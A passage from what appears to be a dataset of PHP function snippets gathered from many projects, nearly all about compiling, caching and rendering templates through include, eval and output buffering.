$parse_file ) < filemtime ( $tpl_file )) {\n $compile = new templatesModuleCompiler ( $this->core, $this->option, $tpl_file );\n $compile->parse ( $parse_file );\n }\n \n if ($this->option ['cache']) {\n $cache_file = $this->option ['cacheDir'] . '/' . sha1 ( $file ) . $file . '.html';\n \n // Create cache file if needed\n if (! file_exists ( $cache_file ) || filemtime ( $cache_file ) < filemtime ( $parse_file )) {\n include $parse_file;\n $content = ob_get_clean ();\n if (! file_put_contents ( $cache_file, $content ))\n $this->core->err ( '112' );\n }\n \n include $cache_file;\n } else {\n include $parse_file;\n }\n }", "public function compile()\n {\n\n $this->buildPage();\n\n if (defined('DEBUG_MARKUP') && DEBUG_MARKUP) {\n ob_start();\n $checkXml = new DOMDocument();\n\n if ($this instanceof LibTemplateAjax)\n $checkXml->loadXML($this->compiled);\n else\n $checkXml->loadHTML($this->compiled);\n\n $errors = ob_get_contents();\n ob_end_clean();\n\n // nur im fehlerfall loggen\n if ('' !== trim($errors)) {\n\n $this->getResponse()->addWarning('Invalid XML response');\n\n SFiles::write(PATH_GW.'log/tpl_xml_errors.html', $errors.'<pre>'.htmlentities($this->compiled).'</pre>');\n SFiles::write(PATH_GW.'log/tpl_xml_errors_'.date('Y-md-H-i_s').'.html', $errors.'<pre>'.htmlentities($this->compiled).'</pre>');\n }\n }\n\n if ($this->keyCachePage) {\n $this->writeCachedPage($this->keyCachePage , $this->compiled);\n }\n\n $this->output = $this->compiled;\n\n\n }", "public function testCompileTemplateFile()\n {\n $tpl = $this->smarty->createTemplate('helloworld.tpl');\n $tpl->compileTemplateSource();\n }", "public static function run ($file) {\n $instance = new self;\n $instance->template = file_get_contents($file);\n $instance->printConfiguration();\n }", "public function Display()\n {\n include($this->template);\n }", "public function displayFile($template_name)\n\t{\n\t\t$this->render($template_name);\n\t\texit();\n\t}", "public function compileFile(\n $templateName,\n $templateBasedir,\n $templateDirectory,\n $templateFilepath,\n $parsedTemplateFilepath\n ) {\n\n\n // open the template\n $fp = fopen($templateFilepath, \"r\") or die(\"cannot open file $templateFilepath\");\n\n // lock the file\n if (flock($fp, LOCK_SH)) {\n\n // save the filepath in the info\n $this->templateInfo['template_filepath'] = $templateFilepath;\n\n // read the file\n $this->templateInfo['code'] = $code = fread($fp, filesize($templateFilepath));\n\n // xml substitution\n $code = preg_replace(\"/<\\?xml(.*?)\\?>/s\", /*<?*/ \"##XML\\\\1XML##\", $code);\n\n // disable php tag\n if (!$this->php_enabled)\n $code = str_replace(array(\"<?\", \"?>\"), array(\"&lt;?\", \"?&gt;\"), $code);\n\n // xml re-substitution\n $code = preg_replace_callback(\"/##XML(.*?)XML##/s\", function( $match ) {\n return \"<?php echo '<?xml \" . stripslashes($match[1]) . \" ?>'; ?>\";\n }, $code);\n\n $parsedCode = $this->compileTemplate($code, $isString = false, $templateBasedir, $templateDirectory, $templateFilepath);\n\n\n/* $parsedCode = \"<?php if(!class_exists('\\\\core\\\\rtpl\\\\RainbowTemplate')){exit;}?>\" . $parsedCode;*/\n\n\n // fix the php-eating-newline-after-closing-tag-problem\n/* $parsedCode = str_replace(\"?>\\n\", \"?>\\n\\n\", $parsedCode);*/\n\n // check if the cache is writable\n if (!is_writeable($this->cache->getCacheDir())) \n# if (!is_writable($this->config['cache_dir']))\n throw new \\core\\exceptions\\OperationNotPermittedException('Cache directory ' . $this->cache->getCacheDir() . 'doesn\\'t have write permission. Set write permission or set RAINTPL_CHECK_TEMPLATE_UPDATE to FALSE. More details on http://www.raintpl.com/Documentation/Documentation-for-PHP-developers/Configuration/');\n\n $this->cache->write($parsedTemplateFilepath, $parsedCode);\n\n // release the file lock\n flock($fp, LOCK_UN);\n }\n\n // close the file\n fclose($fp);\n }", "public function main()\n {\n $className = $this->fullyQualifiedClassName();\n $templatePath = $this->template();\n $destinationDir = $this->destinationDir();\n $destinationFile = $this->destinationFile();\n\n if (!file_exists($templatePath)) {\n $this->error(sprintf('Given template file path does not exists [%s]', $templatePath));\n return 1;\n }\n \n if ($this->opt('force') === false && file_exists($destinationFile)) {\n $this->error(sprintf(\n '\\'%s\\' already exists. Use --force to directly replaces it.', \n $className\n ));\n return 2;\n }\n\n $name = $this->name();\n $namespace = $this->fullNamespace();\n\n $placeholders = $this->preparedPlaceholders();\n $placeholders['{{name}}'] = $name;\n $placeholders['{{namespace}}'] = $namespace;\n \n $template = file_get_contents($templatePath);\n\n $constructor = $this->opt('constructor') === true ? $this->constructor() : '';\n $template = str_replace('{{constructor}}', $constructor, $template);\n\n $template = str_replace(\n array_keys($placeholders), array_values($placeholders), $template\n );\n\n if (!is_dir($destinationDir)) {\n mkdir($destinationDir, '0755', true);\n }\n file_put_contents($destinationFile, $template);\n\n $this->info(sprintf('%s created with success!', $className));\n $this->info(sprintf('File: %s', $destinationFile));\n\n return 0;\n }", "protected function _processTpl() {\n $sResult = '';\n if (file_exists($this->_sTplName)) {\n ob_start();\n require_once $this->_sTplName;\n $sResult = ob_get_clean();\n }\n\n return $sResult;\n }", "function render_template($template_path,$template_data)\n{\n\t// Stores output buffer\n\t$html = '';\n\t// Start output buffering\n\tob_start();\n\trequire($template_path);\n\t$html = ob_get_clean();\n\n\t// Return generated (buffered) HTML\n\treturn $html;\t\t\n}", "public static function render($filePath, array $data = null) \n {\n //this try block is excecuted to enable throwing and catching of errors as appropriate\n try {\n\n //get the variables passed and make them available to the view\n if ( $data != null)\n {\n //loop through the array setting the respective variables\n foreach ($data as $key => $value) \n {\n $$key = $value;\n\n }\n\n }\n\n //get the parsed contents of the template file\n $contents = self::getContents($filePath);\n\n //start the output buffer\n ob_start();\n\n //evaluate the contents of this view file\n eval(\"?>\" . $contents . \"<?\");\n\n //get the evaluated contents\n $contents = ob_get_contents();\n\n //clean the output buffer\n ob_end_clean();\n\n //return the evaluated contents\n echo $contents;\n\n //stop further script execution\n exit();\n \n }\n\n catch(BaseException $e) {\n\n //echo $e->getMessage();\n $e->show();\n\n }\n\n catch(Exception $e) {\n\n echo $e->getMessage();\n \n }\n\n }", "public function loadTemplate($file) {\n $file = FilesystemUtils::getFullPath($file, CONTENT_DIR);\n $type = FilesystemUtils::getFileExtension($file);\n\n switch ($type) {\n case 'tpl':\n // Smarty template\n $this->output = $this->filterSmarty($file);\n break;\n\n case 'md':\n // Static Markdown file\n $this->output = $this->filterMarkdown($file);\n break;\n\n case 'tplmd':\n // Smarty template, with the output run through the Markdown parser\n $this->output = $this->filterMarkdown($this->filterSmarty($file), TRUE);\n break;\n\n case 'php':\n // PHP script\n $this->output = $this->filterPHP($file);\n break;\n\n case 'html':\n default:\n // HTML or other unsupported file; passed through unchanged\n $this->output = file_get_contents($file);\n break;\n }\n }", "private function filterPHP($file) {\n ob_start();\n\n // The variable $template can be used in the script as $this is used here\n $template = $this;\n require $file;\n\n // Return the script's output\n return ob_get_clean();\n }", "public function compile()\n\t{\n\t\tif ($this->dirty() and $this->compile)\n\t\t{\n\t\t\t$compiler = new Compiler($this, $this->app);\n\t\t\t$this->contents = $compiler->run();\n\t\t}\n\t}", "public function display($fileName)\n { \t\n \tif (file_exists($fileName)) {\n \t\t\n \t\t$view = file_get_contents($fileName);\n \t\t$this->view = '?>' . $view;\n \t\t\n \t\t$this->processTags();\n \t\t\n \t\teval ($this->view);\n \t\t\n \t} else {\n \t\t\n \t\t$this->displayError(\"Can't load view : \" . $fileName);\n \t}\n }", "protected function render()\n {\n $file_path = ROOT . '/' . PATH_VIEWS . '/' . $this->view . '.php';\n\n if (is_file($file_path)) {\n $this->template = $this->getContentTemplate($file_path);\n echo $this->template;\n } else {\n throw new Exception(\"Error! Does not exist \" . $this->view);\n }\n }", "public function render()\n\t{\n\t\tif ($this->file == null) { // intentionally ==\n\t\t\tthrow new Nette\\InvalidStateException('Template file name was not specified.');\n\t\t}\n\n\t\tif (!$this->getFilters()) {\n\t\t\t$this->onPrepareFilters($this);\n\t\t}\n\n\t\tif ($latte = $this->getLatte()) {\n\t\t\treturn $latte->setLoader(new Latte\\Loaders\\FileLoader)->render($this->file, $this->getParameters());\n\t\t}\n\n\t\t$cache = new Caching\\Cache($storage = $this->getCacheStorage(), 'Nette.FileTemplate');\n\t\tif ($storage instanceof Caching\\Storages\\PhpFileStorage) {\n\t\t\t$storage->hint = str_replace(dirname(dirname($this->file)), '', $this->file);\n\t\t}\n\t\t$cached = $compiled = $cache->load($this->file);\n\n\t\tif ($compiled === null) {\n\t\t\ttry {\n\t\t\t\t$compiled = \"<?php\\n\\n// source file: $this->file\\n\\n?>\" . $this->compile();\n\n\t\t\t} catch (CompileException $e) {\n\t\t\t\tthrow $e->setSource(file_get_contents($this->file), $e->sourceLine, $this->file);\n\t\t\t}\n\n\t\t\t$cache->save($this->file, $compiled, array(\n\t\t\t\tCaching\\Cache::FILES => $this->file,\n\t\t\t\tCaching\\Cache::CONSTS => 'Nette\\Framework::REVISION',\n\t\t\t));\n\t\t\t$cached = $cache->load($this->file);\n\t\t}\n\n\t\t$isFile = $cached !== null && $storage instanceof Caching\\Storages\\PhpFileStorage;\n\t\tself::load($isFile ? $cached['file'] : $compiled, $this->getParameters(), $isFile);\n\t}", "public function processTemplateFromFileProcessesTemplateFromFile() {\n\t\t$this->subject->processTemplateFromFile(\n\t\t\t'EXT:oelib/Tests/Unit/Fixtures/oelib.html'\n\t\t);\n\n\t\t$this->assertSame(\n\t\t\t'Hello world!' . LF,\n\t\t\t$this->subject->render()\n\t\t);\n\t}", "public function run()\n {\n \\App\\Model\\TemplateLib::create([\n 'name' => 'FNK Test',\n 'stylesheet' => 'body {background:white};',\n 'javascript' => '',\n 'code_header' => $this->codeHeader,\n 'code_footer' => $this->codeFooter,\n 'code_index' => $this->codeIndex,\n 'code_search' => '<h1>saya di search</h1>',\n 'code_category' => '<h1>saya di category</h1>',\n 'code_page' => $this->codePage,\n 'code_post' => $this->codePost,\n 'code_about' => '<h1>saya di about</h1>',\n 'code_404' => '<h1>saya di 404</h1>',\n ]);\n }", "function pparse($handle)\n\t{\n\t\tif ( defined('DEBUG_TEMPLATE') && !$this->no_debug )\n\t\t{\n\t\t\techo '<!-- Start of : ' . $this->files[$handle] . ' :: ' . $handle . ' -->' . \"\\n\";\n\t\t}\n\t\tif ($filename = $this->_tpl_load($handle))\n\t\t{\n\t\t\tinclude($filename);\n\t\t}\n\t\telse\n\t\t{\n\t\t\teval(' ?>' . $this->compiled_code[$handle] . '<?php ');\n\t\t}\n\t\tif ( defined('DEBUG_TEMPLATE') && !$this->no_debug )\n\t\t{\n\t\t\techo '<!-- End of : ' . $this->files[$handle] . ' :: ' . $handle . ' -->' . \"\\n\";\n\t\t}\n\n\t\treturn true;\n\t}", "function loadWithTemplate($template_filename, $view_filename, $data=null, $return=false) {\n $current_template = $this->template_file;\n $this->template($template_filename);\n $out = $this->load( $view_filename, $data, true );\n $this->template($current_template);\n if ( $return ) { return $out; }\n echo $out;\n }", "public function execute()\n\t{\t\n\t\t$this->controller = new Controller($this->path);\n\t\t$this->static_server = new StaticServer($this->path);\n\t\t\n\t\tCurrent::$plugins->hook('prePathParse', $this->controller, $this->static_server);\n\t\t\n\t\tif ( $this->static_server->isFile() )\n\t\t{\n\t\t\tCurrent::$plugins->hook('preStaticServe', $this->static_server);\n\t\t\t\n\t\t\t// Output the file\n\t\t\t$this->static_server->render();\n\t\t\t\n\t\t\tCurrent::$plugins->hook('postStaticServe', $this->static_server);\n\t\t\t\n\t\t\texit;\n\t\t}\n\t\t\n\t\t// Parse arguments from path and call appropriate command\n\t\tCowl::timer('cowl parse');\n\t\t$request = $this->controller->parse();\n\t\tCowl::timerEnd('cowl parse');\n\t\n\t\tif ( COWL_CLI )\n\t\t{\n\t\t\t$this->fixRequestForCLI($request);\n\t\t}\n\t\t\n\t\t$command = new $request->argv[0];\n\t\t\n\t\t// Set template directory, which is the command directory mirrored\n\t\t$command->setTemplateDir(Current::$config->get('paths.view') . $request->app_directory);\n\t\t\n\t\tCurrent::$plugins->hook('postPathParse', $request);\n\t\t\n\t\tCowl::timer('cowl command run');\n\t\t$ret = $command->run($request);\n\t\tCowl::timerEnd('cowl command run');\n\t\t\n\t\tCurrent::$plugins->hook('postRun');\n\t\t\n\t\tif ( is_string($ret) )\n\t\t{\n\t\t\tCowl::redirect($ret);\n\t\t}\n\t}", "public function handle()\n {\n if (Input::get('import') === 'analysis') {\n return '';\n }\n\n $this->getSession();\n\n $template = new BackendTemplate('be_member_import_load');\n\n\n $step = $this->collectData();\n\n $this->injectScript($step);\n\n $count = count($this->settings);\n\n $template->step = $step;\n $template->count = $count;\n\n return $template->parse();\n }", "public function render() {\n\n\t\t$context = $this->options;\n\t\t$context = $this->load($context);\n\n\t\textract($context);\n\n\t\tinclude __DIR__ . '/../views/' . $this->template();\n\t}", "function ahr_render_tpl( $path, $data = array() ) {\r\n \r\n ob_start();\r\n include( $path );\r\n $output = ob_get_clean();\r\n echo $output;\r\n \r\n}", "function render($_contents) {\n \n $_ci_vars = $this->_ci_object_to_array($_contents);\n \n if (is_array($_ci_vars))\n\t\t{\n\t\t\t$this->_ci_cached_vars = array_merge($this->_ci_cached_vars, $_ci_vars);\n\t\t}\n\t\textract($this->_ci_cached_vars);\n\n\t\tob_start();\n\n\t\tif ((bool) @ini_get('short_open_tag') === FALSE AND config_item('rewrite_short_tags') == TRUE)\n\t\t{\n\t\t\techo eval('?>'.preg_replace(\"/;*\\s*\\?>/\", \"; ?>\", str_replace('<?=', '<?php echo ', file_get_contents($this->master))));\n\t\t}\n\t\telse\n\t\t{\n\t\t\tinclude($this->master); // include() vs include_once() allows for multiple views with the same name\n\t\t}\n\n\t\tlog_message('debug', 'File loaded: '.$this->master);\n\n\t\t\n\t\tif (ob_get_level() > $this->_ci_ob_level + 1)\n\t\t{\n\t\t\tob_end_flush();\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->CI->output->append_output(ob_get_contents());\n\t\t\t@ob_end_clean();\n\t\t}\n }", "protected function compile()\n {\n $this->addImageToTemplate($this->Template, $this->arrData);\n }", "public function Run() {\n\t\tif(!$this->IfDebug()) {\n\t\t\t$this->PageViewSetErrorStatus(404, 'NO Twig-TPL-DEBUG Service has been activated on this server ...');\n\t\t\treturn;\n\t\t} //end if\n\t\t//--\n\n\t\t//--\n\t\t$tpl = $this->RequestVarGet('tpl', '', 'string');\n\t\t//--\n\n\t\t//--\n\t\t$this->PageViewSetCfg('rawpage', true);\n\t\t//--\n\t\t$this->PageViewSetVar(\n\t\t\t'main',\n\t\t\t(string) SmartMarkersTemplating::render_file_template(\n\t\t\t\t'lib/core/templates/debug-profiler-util.htm',\n\t\t\t\t[\n\t\t\t\t\t'CHARSET' \t=> Smart::escape_html(SmartUtils::get_encoding_charset()),\n\t\t\t\t\t'TITLE' \t=> '{{ Twig-TPL }} Template Debug Profiling',\n\t\t\t\t\t'MAIN' \t\t=> (string) (new \\SmartModExtLib\\TplTwig\\Templating())->debug($tpl)\n\t\t\t\t],\n\t\t\t\t'no'\n\t\t\t)\n\t\t);\n\t\t//--\n\n\t}", "public function render($filename, array $args = [])\n {\n $template = $this->templateEngine->load($filename);\n\n if (null !== $template) {\n $template->render($args);\n }\n\n exit();\n }", "public function execute() {\n $this->updateTeamSelector();\n\n $this->display();\n $this->smartyHelper->displayTemplate();\n }", "public function render()\n {\n \n $v = $this->vars;\n \n ob_start();\n foreach( $this->templates as $template )\n {\n if( Fs::exists( GAIA_PATH.'modules/'.$template.'.tpl' ) )\n include GAIA_PATH.'modules/'.$template.'.tpl';\n elseif( Fs::exists( GAIA_PATH.'wbf/'.$template.'.tpl' ) )\n include GAIA_PATH.'wbf/'.$template.'.tpl';\n else \n echo 'Missing Template '.$template.NL;\n }\n \n $maincontent = ob_get_contents();\n ob_end_clean();\n \n $this->renderedContent = $maincontent;\n\n return $this->renderedContent;\n\n }", "public function Display(){\n\t\trequire($this->viewFileName);\n\t}", "function load_template($_template, $_data = NULL, $_echo = true)\n\t{\n\t\t//append the file extension if not supplied\n\t\tif (strpos( $_template, $this->template_ext ) === FALSE)\n\t\t\t$_template .= $this->template_ext;\n\t\t\t\n\t\t//set the working dir to the templates folder\n\t\t//(save current working dir to revert to when we're done)\n\t\t$_cwd = getcwd();\n\t\tchdir($this->route);\n\t\t\n\t\t//load the file into the class. Throw an exception if it fails for some reason\n\t\tif (($_template_data = file_get_contents( $_template ) ) === FALSE) \n\t\t{\n\t\t\tchdir( $_cwd );\n\t\t\tthrow new Exception( 'TemplateController: Was unable to open template file: '.$this->route.$_template );\n\t\t\treturn FALSE;\n\t\t}\n\n\t\t//if data is an array, break out all of its keys into variables\n\t\tif (isset( $_data) && is_array( $_data ))\n\t\t\textract( $_data, EXTR_OVERWRITE );\n\n\t\t//start a new output buffering session to collect all of the printed data\n\t\tob_start();\n\n\t\t//evalutate the code\n\t\t//(IMPORTANT: PHP documentation states that a trailing space is needed\n\t\t// for the <?php brace to be picked up.)\n\t\teval('?> '.$_template_data.' <?php ');\n\n\t\t//retrieve the output from the eval\n\t\t$_output = ob_get_contents();\n\n\t\t//close the buffering session\n\t\tob_end_clean();\n\n\t\t//revert the working dir to default\n\t\tchdir($_cwd);\n\t\t\n\t\t//output the resulting text based on parameters\n\t\tif ($_echo)\n\t\t\techo $_output;\n\t\telse\n\t\t\treturn $_output;\n\t\t\t\n\t\treturn TRUE;\n\t}", "public function run()\n {\n $this->runAction();\n\n $this->view->setTemplate($this->request->getRequestedResource() . DIRECTORY_SEPARATOR . $this->getTemplateName() . '.twig');\n }", "function render() {\r\n $sendOutput = true;\r\n // check if plog is configured to use conditional http headers and stuff like\r\n // that... Also, use the HttpCache class to determine whether we should send the\r\n // content or not\r\n if ($this->isCached()) {\r\n // some debug information\r\n $timestamp = $this->_templateObject->getCreationTimestamp();\r\n // and now send the correct headers\r\n if (Http_Cache::httpConditional($timestamp, $this->getCacheTimeSeconds())) $sendOutput = false;\r\n $header = \"Last-Modified: \" . gmdate('D, d M Y H:i:s', $timestamp) . ' GMT';\r\n header($header);\r\n }\r\n else {\r\n // send the results if needed\r\n $sendOutput = true;\r\n }\r\n if ($sendOutput) {\r\n // pass all the values to the template object\r\n $this->_templateObject->assign($this->_params);\r\n // and finally send them after calling the pre-processing method\r\n $content = $this->_templateObject->fetch($this->getViewId());\r\n print ($content);\r\n }\r\n }", "public function run()\n {\n $block = trim(ob_get_clean());\n $this->registerCssBlock($block);\n $this->registerJsBlock($block);\n }", "public function compileString($templateName, $templateBasedir, $templateFilepath, $parsedTemplateFilepath, $code) {\n\n // open the template\n $fp = fopen($parsedTemplateFilepath, \"w\");\n\n // lock the file\n if (flock($fp, LOCK_SH)) {\n\n // xml substitution\n $code = preg_replace(\"/<\\?xml(.*?)\\?>/s\", \"##XML\\\\1XML##\", $code);\n\n // disable php tag\n if (!$this->php_enabled)\n $code = str_replace(array(\"<?\", \"?>\"), array(\"&lt;?\", \"?&gt;\"), $code);\n\n // xml re-substitution\n $code = preg_replace_callback(\"/##XML(.*?)XML##/s\", function( $match ) {\n return \"<?php echo '<?xml \" . stripslashes($match[1]) . \" ?>'; ?>\";\n }, $code);\n\n $parsedCode = $this->compileTemplate($code, $isString = true, $templateBasedir, $templateDirectory = null, $templateFilepath);\n/* $parsedCode = \"<?php if(!class_exists('\\\\core\\\\rtpl\\\\RainbowTemplate')){exit;}?>\" . $parsedCode; */\n\n // fix the php-eating-newline-after-closing-tag-problem\n $parsedCode = str_replace(\"?>\\n\", \"?>\\n\\n\", $parsedCode);\n\n // create directories\n#ä if (!is_dir($this->config['cache_dir']))\n#ä mkdir($this->config['cache_dir'], 0755, true);\n\n // check if the cache is writable\n if (!is_writable($this->cache->getCacheDir()))\n throw new \\core\\exceptions\\OperationNotPermittedException('Cache directory ' . $this->cache->getCacheDir() . 'doesn\\'t have write permission. Set write permission or set RAINTPL_CHECK_TEMPLATE_UPDATE to false. More details on http://www.raintpl.com/Documentation/Documentation-for-PHP-developers/Configuration/');\n\n // write compiled file\n fwrite($fp, $parsedCode);\n\n // release the file lock\n flock($fp, LOCK_UN);\n }\n\n // close the file\n fclose($fp);\n }", "public function parse($href) {\n\t\t// File init\n\t\t$file = new WTemplateFile($href, $this->baseDir, $this->compileDir);\n\n\t\t// Compilation (if needed)\n\t\t$code = $file->compile($this->compiler);\n\n\t\t// Buffer\n\t\tob_start();\n\n\t\t// Define a soft handler for undefined variables\n\t\tset_error_handler(function($errno, $errstr, $errfile, $errline) {\n\t\t\techo str_replace(array('Undefined index: ', 'Undefined variable: '), 'WT!', $errstr);\n\t\t}, E_NOTICE);\n\n\t\ttry { // Critical section\n\t\t\t// Adds the php close balise at the begining because it is a whole php file being evaluated\n\t\t\t$eval_result = eval('?>'.$code);\n\t\t} catch (Exception $e) {\n\t\t\t// Just stores the exception into $e to throw it later\n\t\t}\n\n\t\trestore_error_handler();\n\n\t\t$buffer = ob_get_contents();\n\t\tob_end_clean();\n\n\t\t// Throw exception if any\n\t\tif (!empty($e)) {\n\t\t\tthrow $e;\n\t\t} else if ($eval_result === false) {\n\t\t\tthrow new Exception(\"WTemplate::parse(): File $href encountered an error during evaluation :\".$buffer);\n\t\t}\n\n\t\treturn $buffer;\n\t}", "function template( $file, $args ){\n if ( !file_exists( $file ) ) {\n return '';\n }\n // Make values in the associative array easier to access by extracting them\n if ( is_array( $args ) ){\n extract( $args );\n }\n // buffer the output (including the file is \"output\")\n ob_start();\n include $file;\n return ob_get_clean();\n }", "public function run () {\n\t\trequire_once $this->pluginFile;\n\t}", "private function exec() {\n extract($this->data);\n\n ob_start();\n $error = eval(' ?>' . $this->file .'<?php ');\n if($error === false) {\n ob_end_clean();\n throw new \\Exception('Error en la plantilla');\n }\n return ob_get_clean();\n }", "public function Run() {\n\t\tif(!defined('SMART_FRAMEWORK_TEST_MODE') OR (SMART_FRAMEWORK_TEST_MODE !== true)) {\n\t\t\t$this->PageViewSetErrorStatus(503, 'ERROR: Test mode is disabled ...');\n\t\t\treturn;\n\t\t} //end if\n\t\t//--\n\n\t\t//--\n\t\t$op = $this->RequestVarGet('op', '', 'string');\n\t\t//--\n\n\t\t//--\n\t\t$tpl = (string) $this->ControllerGetParam('module-path').'views/templating-test.inc.htm';\n\t\t//--\n\n\t\t//-- Uncomment the following line to see a Marker Template Analysis (DEBUG ONLY !!! Never use this in real production environments, it is intended for Development Only)\n\t\t//if($this->IfDebug()) { echo SmartDebugProfiler::display_marker_tpl_debug($tpl,[],false); } else { echo '<h1> Turn ON Debugging to see the Template Debug Analyze Info ...'; } die();\n\t\t//--\n\n\t\t//--\n\t\tif((string)$op == 'viewsource') {\n\t\t\t//--\n\t\t\t$this->PageViewSetVar('main', SmartComponents::js_code_highlightsyntax('div', ['web','tpl']).'<h1>Marker-TPL Template Source</h1><hr><pre style=\"background:#FAFAFA;\"><code class=\"markertpl\" style=\"width:96vw; height:75vh; overflow:auto;\">'.SmartMarkersTemplating::prepare_nosyntax_html_template(Smart::escape_html((string)SmartFileSystem::read((string)$tpl))).'</code></pre><hr><br>');\n\t\t\treturn;\n\t\t\t//--\n\t\t} //end if\n\t\t//--\n\n\t\t//--\n\t\t$title = 'Marker-TPL Templating Render Demo - Extended Syntax';\n\t\t//--\n\t\t$test_switch_arr = ['a', 'b', 'c', 'd'];\n\t\t$this->PageViewSetVars([\n\t\t\t'title' => $title,\n\t\t\t'main' => SmartMarkersTemplating::render_file_template(\n\t\t\t\t\t(string) $tpl, // the TPL view\n\t\t\t\t\t[\n\t\t\t\t\t\t'TITLE' => $title,\n\t\t\t\t\t\t'VIEWS-PATH' => (string) $this->ControllerGetParam('module-view-path'),\n\t\t\t\t\t\t'NUMBER' => (rand(0,1)) ? '1' : '-1',\n\t\t\t\t\t\t'MARKER' => Smart::json_encode('<a>&amp;1234567890.コアテスト·スイート.abcdefghijklmniopqrstuvwxyz:'.date('Y-m-d H:i:s').':~`!@#$%^&*()_-+={}[]|,.?</a>'),\n\t\t\t\t\t\t'TEXTSTR' => '1234567890 . コアテスト·スイート . abcdefghijklmniopqrstuvwxyz',\n\t\t\t\t\t\t'MARK-AREA' => 'php',\n\t\t\t\t\t\t'TEST-COMPARE' => 'a',\n\t\t\t\t\t\t'DATA' => [\n\t\t\t\t\t\t\t// id slug name is_vowel arr of numbers\n\t\t\t\t\t\t\t'This is a sample table with Header + 15 Rows = 16 Rows in Total',\n\t\t\t\t\t\t\t['id'=>1, 'slug'=>'a', 'name'=>'Letter A', 'is_vowel'=>true, 'arr' => [1,2,3]],\n\t\t\t\t\t\t\t['id'=>2, 'slug'=>'b', 'name'=>'Letter B', 'is_vowel'=>false, 'arr' => [1,5,3]],\n\t\t\t\t\t\t\t['id'=>3, 'slug'=>'c', 'name'=>'Letter C', 'is_vowel'=>false, 'arr' => [5,2,3]],\n\t\t\t\t\t\t\t['id'=>4, 'slug'=>'d', 'name'=>'Letter D', 'is_vowel'=>false, 'arr' => [4,2,7]],\n\t\t\t\t\t\t\t['id'=>5, 'slug'=>'e', 'name'=>'Letter E', 'is_vowel'=>true, 'arr' => [3,1,2]],\n\t\t\t\t\t\t\t['id'=>6, 'slug'=>'f', 'name'=>'Letter F', 'is_vowel'=>false, 'arr' => [7,2,1]],\n\t\t\t\t\t\t\t['id'=>7, 'slug'=>'g', 'name'=>'Letter G', 'is_vowel'=>false, 'arr' => [6,1,8]],\n\t\t\t\t\t\t\t['id'=>8, 'slug'=>'h', 'name'=>'Letter H', 'is_vowel'=>false, 'arr' => [8,9,0]],\n\t\t\t\t\t\t\t['id'=>9, 'slug'=>'i', 'name'=>'Letter I', 'is_vowel'=>true, 'arr' => [4,2,0]],\n\t\t\t\t\t\t\t['id'=>10, 'slug'=>'j', 'name'=>'Letter J', 'is_vowel'=>false, 'arr' => [5,6,7]],\n\t\t\t\t\t\t\t['id'=>11, 'slug'=>'k', 'name'=>'Letter K', 'is_vowel'=>false, 'arr' => [7,8,9]],\n\t\t\t\t\t\t\t['id'=>12, 'slug'=>'l', 'name'=>'Letter L', 'is_vowel'=>false, 'arr' => [9,0,1]],\n\t\t\t\t\t\t\t['id'=>13, 'slug'=>'m', 'name'=>'Letter M', 'is_vowel'=>false, 'arr' => [9,1,2]],\n\t\t\t\t\t\t\t['id'=>14, 'slug'=>'n', 'name'=>'Letter N', 'is_vowel'=>false, 'arr' => [8,7,6]],\n\t\t\t\t\t\t\t['id'=>15, 'slug'=>'o', 'name'=>'Letter O', 'is_vowel'=>true, 'arr' => [6,3,8]]\n\t\t\t\t\t\t],\n\t\t\t\t\t\t'DaT2' => [\n\t\t\t\t\t\t\t'key1' => [ 'id' => 'val'.rand(0,1), 'name' => 'Value 1' ],\n\t\t\t\t\t\t\t'key2' => 'val2',\n\t\t\t\t\t\t\t'key3' => 'val3',\n\t\t\t\t\t\t\t'key4' => 'val4',\n\t\t\t\t\t\t],\n\t\t\t\t\t\t'TEST1' => 3,\n\t\t\t\t\t\t'TEST2' => Smart::random_number(2,3),\n\t\t\t\t\t\t'TEST3' => 3,\n\t\t\t\t\t\t'STATUS' => (string) $test_switch_arr[Smart::random_number(0,3)],\n\t\t\t\t\t\t'TEST-NUM' => (float) rand(0,4)/4,\n\t\t\t\t\t\t'TEST-STR' => 'a-\\'b\\'_\"c\" <d>',\n\t\t\t\t\t\t'TEST-URL' => 'http://some-url/',\n\t\t\t\t\t\t'TEST-TXT' => 'this is line one'.\"\\n\".'this is line <two>',\n\t\t\t\t\t\t'TEST-UNISTR' => 'ăĂîÎâÂșȘțȚ ȚțȘșÂâÎîĂă'\n\t\t\t\t\t]\n\t\t\t\t)\n\t\t]);\n\t\t//--\n\n\t}", "public function display() {\r\n echo $this->template;\r\n }", "public function renderHTML() \n\t{\n\t\t$viewTemplate = file_get_contents('view_file.html');\n\t\techo $viewTemplate;\n\t}", "public function render() {\n\t\tob_start();\n\n\t\t$this->resolve_template();\n\n\t\treturn ob_get_clean();\n\t}", "public function render($file);", "protected function renderFile(): string\n {\n $this->emit(\"view.render\", func_get_args());\n\n extract(func_get_arg(1), EXTR_PREFIX_INVALID, \"v_\");\n ob_start();\n\n try {\n require func_get_arg(0);\n\n return ob_get_clean();\n } catch (Exception $e) {\n ob_end_clean();\n\n throw $e;\n }\n }", "public function generateContents()\n {\n ob_start();\n include $this->getTemplateFile();\n $output = ob_get_contents();\n ob_end_clean();\n return $output;\n }", "protected function compile()\n {\n if (TL_MODE == 'BE')\n {\n $this->strTemplate = 'be_wildcard';\n $this->Template = new \\BackendTemplate($this->strTemplate);\n }\n\n if (empty(self::$wrappers))\n {\n return;\n }\n\n foreach (array_pop(self::$wrappers) as $key => $value)\n {\n $this->Template->{$key} = $value;\n }\n }", "protected function compile()\n {\n $arrModules = $this->Config->getActiveModules();\n\n if ($this->Input->get('act') == 'generate') {\n $strModule = $this->Input->get('module');\n $strComp = $this->Input->get('comp');\n $strLanguage = $this->Input->get('language');\n\n $strSourceFile = sprintf('system/modules/%s/languages/%s/%s.php',\n $strModule,\n $strLanguage,\n $strComp);\n $strTargetFile = sprintf('system/modules/%s/languages/%s/%s.xlf',\n $strModule,\n $strLanguage,\n $strComp);\n\n if (!file_exists(TL_ROOT . '/' . $strSourceFile)) {\n $_SESSION['TL_ERROR'][] = 'Missing source file ' . $strSourceFile . '!';\n }\n\n else {\n unset($GLOBALS['TL_LANG']);\n require(TL_ROOT . '/' . $strSourceFile);\n $arrSourceLanguage = deserialize(serialize($GLOBALS['TL_LANG']));\n\n $doc = Xliff::getInstance()->generateXliff(\n $strSourceFile,\n 'php',\n filemtime(TL_ROOT . '/' . $strSourceFile),\n '',\n $strLanguage,\n $arrSourceLanguage,\n $strLanguage\n );\n\n // output should formated\n $doc->formatOutput = true;\n\n // generate the xml for output\n $xml = $doc->saveXML();\n\n // generate 